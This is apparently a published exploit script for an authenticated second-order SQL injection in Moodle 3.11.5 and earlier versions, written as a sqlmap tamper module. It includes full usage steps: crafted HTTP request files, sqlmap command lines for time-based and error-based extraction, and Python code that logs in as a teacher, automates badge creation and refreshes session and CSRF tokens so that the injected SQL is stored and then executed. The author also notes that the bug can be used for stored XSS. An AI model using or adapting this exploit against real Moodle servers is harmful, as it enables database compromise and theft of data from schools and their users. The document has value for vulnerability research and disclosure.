# Exploit Title: Moodle 3.11.5 - SQLi (Authenticated)
# Date: 2/3/2022
# Exploit Author: Chris Anastasio (@mufinnnnnnn)
# Vendor Homepage: https://moodle.com/
# Software Link: https://github.com/moodle/moodle/archive/refs/tags/v3.11.5.zip
# Write Up: https://muffsec.com/blog/moodle-2nd-order-sqli/
# Tested on: Moodle 3.11.5+

#!/usr/bin/env python

"""
thanks to:
     - 
https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/
     - 
https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap
     - Miroslav Stampar for maintaining this incredible tool

greetz to:
     - @steventseeley
     - @fabiusartrel
     - @mpeg4codec
     - @0x90shell
     - @jkbenaim
     - jmp

"""

import sys
import requests
import re
from pprint import pprint
from collections import OrderedDict
from lib.core.enums import PRIORITY
from lib.core.data import conf
from lib.core.data import kb
from random import sample
__priority__ = PRIORITY.NORMAL

requests.packages.urllib3.disable_warnings()

"""
Moodle 2.7dev (Build: 20131129) to 3.11.5+ 2nd Order SQLi Exploit by 
muffin (@mufinnnnnnn)

How to use:
     1. Define the variables at the top of the tamper() function, example:
             username    = "teacher's-username"
             password    = "teacher's-password"
             app_root    = "https://127.0.0.1/moodle"
             course_id   = 3
         NOTE: the course_id should be a course that your teacher can 
create badges on

     2. Create a file called `req.txt` that looks like the following. Be 
sure to update the `Host:` field...

         POST 
/moodle/badges/criteria_settings.php?badgeid=badge-id-replace-me&add=1&type=6 
HTTP/1.1
         Host: <your-target-here>
         Content-Type: application/x-www-form-urlencoded
         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
         Connection: close

sesskey=sess-key-replace-me&_qf__edit_criteria_form=1&mform_isexpanded_id_first_header=1&mform_isexpanded_id_aggregation=0&mform_isexpanded_id_description_header=0&field_firstname=0&field_lastname=0&field_lastname=*&field_email=0&field_address=0&field_phone1=0&field_phone2=0&field_department=0&field_institution=0&field_description=0&field_picture=0&field_city=0&field_country=0&agg=2&description%5Btext%5D=&description%5Bformat%5D=1&submitbutton=Save

     3. Create a file called `req2.txt` that looks like the following. 
Again, be sure to update the `Host:` field...

         POST /moodle/badges/action.php HTTP/1.1
         Host: <your-target-here>
         Content-Type: application/x-www-form-urlencoded
         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
         Connection: close

id=badge-id-replace-me&activate=1&sesskey=sess-key-replace-me&confirm=1&return=%2Fbadges%2Fcriteria.php%3Fid%3Dbadge_id-replace-me

     4. Run the following sqlmap command, make sure the tamper argument 
is pointing at this file:

         sqlmap -r req.txt --second-req req2.txt 
--tamper=./moodle-tamper.py --dbms=mysql --level=5 --prefix='id = 1' 
--drop-set-cookie --answer="login/index.php'. Do you want to 
follow?=n,Do you want to process it=y" --test-filter='MySQL >= 5.0.12 
AND time-based blind (query SLEEP)' --current-user --batch --flush

         NOTES:
             - for some reason after the first run sqlmap complains that 
it cannot fingerprint
                 the db and will refuse to try enumerating anthing else, 
this
                 is why there is a flush at the end. I'm sure it can be 
fixed...
             - you can do error based with this command (if errors are 
enabled...not likely):
                 sqlmap -r req.txt --second-req req2.txt 
--tamper=./moodle-tamper.py --dbms=mysql --level=5 --prefix='id = 1' 
--level=5 --drop-set-cookie --answer="login/index.php'. Do you want to 
follow?=n,Do you want to process it=y" --batch --current-user 
--fresh-queries --flush --test-filter='MySQL >= 5.6 AND error-based - 
WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'


How it works (briefly):
     - In order to get our sql query into the database it's necessary to 
create a
         badge and add some criteria. It is when adding the critera that 
the
         sql-to-be-executed-2nd-order is inserted into the database.
         Finally, when the badge is enabled the injected sql is executed.
     - This tamper script does the following:
         - log in to the app
         - update cookie/sesskey for both the 1st and 2nd requests
         - make all the requests necessary to create the badge, right up 
until adding the critera
     - sqlmap itself adds the criteria with whatever payload it's testing
     - sqlmap makes the 2nd call to enable the badge (runs the injected sql)
     - next time around the tamper script will delete the badge that it last
         created to prevent have 10000s of badges for the course


Analysis of the bug:
     - see https://muffsec.com/blog/moodle-2nd-order-sqli/


Why?:
     1. It's an interesting bug, 2nd order sqli is more rare (or maybe 
just harder to find?)
     2. It's an interesting use of sqlmap. There are some articles 
talking about using it for 2nd order sqli
         but the use cases outlined are relatively straightforward. 
There's a few hacky things being done
         with sqlmap in this script which others might want to do some 
day i.e.
             - using the tamper script to authenticate to the app
             - updating the Cookie in sqlmap's httpHeader structure
             - updating the CSRF token (sesskey) in the body of both the 
1st and 2nd request
     3. I wanted to practice programming/thought it would be fun. Also I 
didn't want to reinvent the
         wheel with a standalone exploit when sqlmap is just so darn 
good at what it does.


Thoughts:
     - The exploit is not optimized, halfway through writing I realized 
there is a badge
         duplication feature which would cut the number of requests 
generated down significantly.
         There's probably many other ways it could be improved as well
     - I didn't do much testing...it works on my system...
     - I would be surprised if anyone ever put a `Teacher` level sqli to 
practical use
     - As a bonus, this bug is also usable as a stored xss
     - Would be cool if moodle's bug bounty paid more than kudos
"""

def get_user_session(username, password, app_root):
     """
     - logs in to moodle
     - returns session object, cookie, and sesskey
     """

     s = requests.Session()
     login_page = "{app_root}/login/index.php".format(app_root=app_root)

     # make first GET request to get cookie and logintoken
     r = s.get(login_page, verify=False)

     try:
         token = re.findall('logintoken" value="(.*?)"', r.text)[0]
     except Exception as e:
         print("[-] did not find logintoken, is the target correct?")
         print(e)
         sys.exit(1)

     payload = {'username': username, 'password': password, 'anchor': 
'', 'logintoken': token}

     # make second request to actually log in
     # also let's us get the sesskey
     r = s.post(login_page, data=payload, allow_redirects=False, 
verify=False)

     # third request for session test which activates the session
     cookie = r.cookies.get_dict()
     r = s.get(r.headers['Location'], verify=False)

     sesskey = re.findall('sesskey":"(.*?)"', r.text)[0]

     if (len(cookie) == 0):
         sys.exit("[-] Could not establish session! Are credz correct?")

     print("[+] Cookie: {} for user \"{}\"".format(cookie, username))
     print("[+] sesskey: {} for user \"{}\"".format(sesskey, username))

     return s, cookie, sesskey

def new_badge1(s, sesskey, app_root, course_id):
     """
     - this is the first request that gets generated when "add a new badge"
     is clicked.
     - it returns the `client_id`, `itemid`, and `ctx_id` which are 
needed on subsequent requests
     - returns -1 on failure
     """
     target_url = "{app_root}/badges/newbadge.php".format(app_root=app_root)

     # badge type is 2 which is a course badge (rather than a site badge)
     payload = {'type': 2, 'id': course_id, 'sesskey': sesskey}

     r = s.post(target_url, data=payload, allow_redirects=False, 
verify=False)

     try:
         client_id = re.findall('"client_id":"(.*?)"', r.text)[0]
     except Exception as e:
         print("[-] failed to grab client_id in new_badge1()")
         print(e)
         return -1

     try:
         itemid = re.findall('"itemid":(.*?),"', r.text)[0]
     except Exception as e:
         print("[-] failed to grab itemid in new_badge1()")
         print(e)
         return -1

     try:
         ctx_id = re.findall('&ctx_id=(.*?)&', r.text)[0]
     except Exception as e:
         print("[-] failed to grab ctx_id in new_badge1()")
         print(e)
         return -1

     return client_id, itemid, ctx_id


def image_signin(s, sesskey, app_root, client_id, itemid, ctx_id):
     """
     - sadly, in order to create a badge we have to associate an image
     - this request adds an image which is a moodle logo from wikimedia
     - returns sourcekey on success
     - return -1 on failure
     """

     target_url = 
"{app_root}/repository/repository_ajax.php?action=signin".format(app_root=app_root)

     # repo id 6 is for when we are downloading an image
     payload = {'file': 
'https://upload.wikimedia.org/wikipedia/commons/thumb/c/c6/Moodle-logo.svg/512px-Moodle-logo.svg.png', 

         'repo_id': '6', 'p': '', 'page': '', 'env': 'filepicker', 
'accepted_types[]': '.gif', 'accepted_types[]': '.jpe',
         'accepted_types[]': '.jpeg', 'accepted_types[]': '.jpg', 
'accepted_types[]': '.png', 'sesskey': sesskey,
         'client_id': client_id, 'itemid': itemid, 'maxbytes': '262144', 
'areamaxbytes': '-1', 'ctx_id': ctx_id}

     r = s.post(target_url, data=payload, allow_redirects=False, 
verify=False)


     try:
         sourcekey = re.findall('"sourcekey":"(.*?)","', r.text)[0]
     except Exception as e:
         print("[-] failed to grab sourcekey in image_signin()")
         print(e)
         return -1

     return sourcekey


def image_download(s, sesskey, app_root, client_id, itemid, ctx_id, 
sourcekey):
     """
     - continues the image flow started in image_signin(), here the 
actual download happens
     - returns image_id on success
     - return -1 on failure
     """

     target_url = 
"{app_root}/repository/repository_ajax.php?action=download".format(app_root=app_root)

     # repo id 6 is for when we are downloading from an image from a URL
     payload = {'repo_id': '6', 'p': '', 'page': '', 'env': 
'filepicker', 'accepted_types[]': '.gif', 'accepted_types[]': '.jpe',
         'accepted_types[]': '.jpeg', 'accepted_types[]': '.jpg', 
'accepted_types[]': '.png', 'sesskey': sesskey,
         'client_id': client_id, 'itemid': itemid, 'maxbytes': '262144', 
'areamaxbytes': '-1', 'ctx_id': ctx_id,
         'title': '512px-Moodle-logo.svg.png',
         'source': 
'https://upload.wikimedia.org/wikipedia/commons/thumb/c/c6/Moodle-logo.svg/512px-Moodle-logo.svg.png', 

         'savepath': '/', 'sourcekey': sourcekey, 'license': 'unknown', 
'author': 'moodle-hax'}

     r = s.post(target_url, data=payload, allow_redirects=False, 
verify=False)

     try:
         image_id = re.findall(',"id":(.*?),"file', r.text)[0]
     except Exception as e:
         print("[-] failed to grab image_id in image_download()")
         print(e)
         return -1

     return image_id


def new_badge2(s, sesskey, app_root, course_id, image_id, 
name="sqlmap-badge", description="sqlmap-description"):
     """
     - finally we are actually creating the badge
     """
     target_url = "{app_root}/badges/newbadge.php".format(app_root=app_root)

     # badge type is 2 which is a course badge (rather than a site badge)
     payload = {'type': '2', 'id': course_id, 'action': 'new', 
'sesskey': sesskey,
         '_qf__core_badges_form_badge': '1', 
'mform_isexpanded_id_badgedetails': '1',
         'mform_isexpanded_id_issuancedetails': '1', 'name': name, 
'version': '',
         'language': 'en', 'description': description, 'image': image_id,
         'imageauthorname': '', 'imageauthoremail': '', 
'imageauthorurl': '',
         'imagecaption': '', 'expiry': '0', 'submitbutton': 'Create+badge'}

     r = s.post(target_url, data=payload, allow_redirects=False, 
verify=False)

     try:
         badge_id = re.findall('badges/criteria.php\?id=(.*?)"', r.text)[0]
     except Exception as e:
         #print("[-] failed to grab badge_id in new_badge2()")
         #print(e)
         return -1

     return badge_id


def delete_badge(s, sesskey, app_root, course_id, badge_id):
     """
     - delete the badge
     """
     target_url = "{app_root}/badges/index.php".format(app_root=app_root)

     # badge type is 2 which is a course badge (rather than a site badge)
     payload =  {'sort': 'name', 'dir': 'ASC', 'page': '0', 'type': '2',
                 'id': course_id, 'delete': badge_id, 'confirm': '1', 
'sesskey': sesskey}

     # TODO: add validation logic
     r = s.post(target_url, data=payload, allow_redirects=False, 
verify=False)


def tamper(payload, **kwargs):

     username  = "teacher"
     password  = "password"
     app_root  = "https://127.0.0.1/moodle"
     course_id = 3

     # check if cookie is set
     # cookie should not be set in the request file or this script will fail
     # 
https://stackoverflow.com/questions/946860/using-pythons-list-index-method-on-a-list-of-tuples-or-objects
     try:
         cookie_index = [x[0] for x in conf.httpHeaders].index('Cookie')
     except ValueError:
         # if no cookie is found we run the session initialization routine
         s, cookie, sesskey = get_user_session(username, password, app_root)

         # this updates the sqlmap cookie
         conf.httpHeaders.append(('Cookie', 
'MoodleSession={}'.format(cookie['MoodleSession'])))

         # here we're making our own global variable to hold the sesskey 
and session object
         conf.sesskey = sesskey
         conf.s = s

     # check if a badge_id is set, if so delete it before making the new one
     try:
         conf.badge_id is None
         delete_badge(conf.s, conf.sesskey, app_root, course_id, 
conf.badge_id)
     except AttributeError:
         # we should only hit this on the very first run
         # we hit the AttributeError because conf.badge_id doesn't exist yet
         pass

     #
     ## do all the badge creation flow up the point of adding the criteria
     #
     client_id, itemid, ctx_id = new_badge1(conf.s, conf.sesskey, 
app_root, course_id)
     sourcekey = image_signin(conf.s, conf.sesskey, app_root, client_id, 
itemid, ctx_id)
     image_id  = image_download(conf.s, conf.sesskey, app_root, 
client_id, itemid, ctx_id, sourcekey)

     # we need to store the badge_id globally
     conf.badge_id = new_badge2(conf.s, conf.sesskey, app_root, 
course_id, image_id)


     # - if badge creation failed try deleting the last known badgeid
     # - it's most likely failing because a badge already exists with 
the same name
     # - yes, it's ugly
     # - if you control+c and there is a badge with some BS criteria you 
will
     #       only see an error on the badge management page and won't be
     #       able to delete it through moodle
     # - if the trouble badgeid is known it can be deleted to resolve 
the issue
     if (conf.badge_id == -1):
         with open("/tmp/last-known-badge-id", "r") as f:
             conf.badge_id = f.read()
         delete_badge(conf.s, conf.sesskey, app_root, course_id, 
conf.badge_id)

         conf.badge_id = new_badge2(conf.s, conf.sesskey, app_root, 
course_id, image_id)
         if (conf.badge_id == -1):
             sys.exit("[-] ya done fucked up...")

     with open("/tmp/last-known-badge-id", "w") as f:
         f.write(conf.badge_id)

     # - update the sesskey and badge_id in the body of the requests
     # - it seems necessary to update both the conf.parameters and 
conf.paramDict structures
     post = 
("sesskey={sesskey}&_qf__edit_criteria_form=1&mform_isexpanded_id_first_header=1&"
"mform_isexpanded_id_aggregation=0&mform_isexpanded_id_description_header=0&field_firstname=0&"
"field_lastname=0&field_lastname=*&field_email=0&field_address=0&field_phone1=0&field_phone2=0&"
"field_department=0&field_institution=0&field_description=0&field_picture=0&field_city=0&"
"field_country=0&agg=2&description[text]=&description[format]=1&submitbutton=Save".format(sesskey=conf.sesskey))

     get  = "badgeid={badge_id}&add=1&type=6".format(badge_id=conf.badge_id)

     conf.parameters = {'(custom) POST': post,
                 'GET': get,
                 'Host': conf.parameters['Host'],
                 'Referer': conf.parameters['Referer'],
                 'User-Agent': conf.parameters['User-Agent']}

     conf.paramDict = {'(custom) POST': OrderedDict([('#1*', post)]),
                'GET': OrderedDict([('badgeid', conf.badge_id),
                                    ('add', '1'),
                                    ('type', '6')]),
                'Host': {'Host': conf.parameters['Host']},
                'Referer': {'Referer': 
'{app_root}/badges/criteria_settings.php'.format(app_root=app_root)},
                'User-Agent': {'User-Agent': 'Mozilla/5.0 (Windows NT 
10.0; Win64; x64) AppleWebKit/537.36 '
                                             '(KHTML, like Gecko) 
Chrome/98.0.4758.82 Safari/537.36'}}

     # we need to update values for the second request too
     secondReq_url = ("id={badge_id}&activate=1&sesskey={sesskey}&"
"confirm=1&return=/badges/criteria.php?id={badge_id}".format(badge_id=conf.badge_id, 

sesskey=conf.sesskey))

     kb['secondReq'] = 
('{app_root}/badges/action.php'.format(app_root=app_root), 'POST',
         secondReq_url, None,
         (('Host', app_root.split('/')[2]),
         ('Content-Type', 'application/x-www-form-urlencoded'),
         ('Cookie', 
'MoodleSession={}'.format(conf.s.cookies.get_dict()['MoodleSession'])), 
# yes, ugly
         ('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36'
         ' (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36')))

     return payload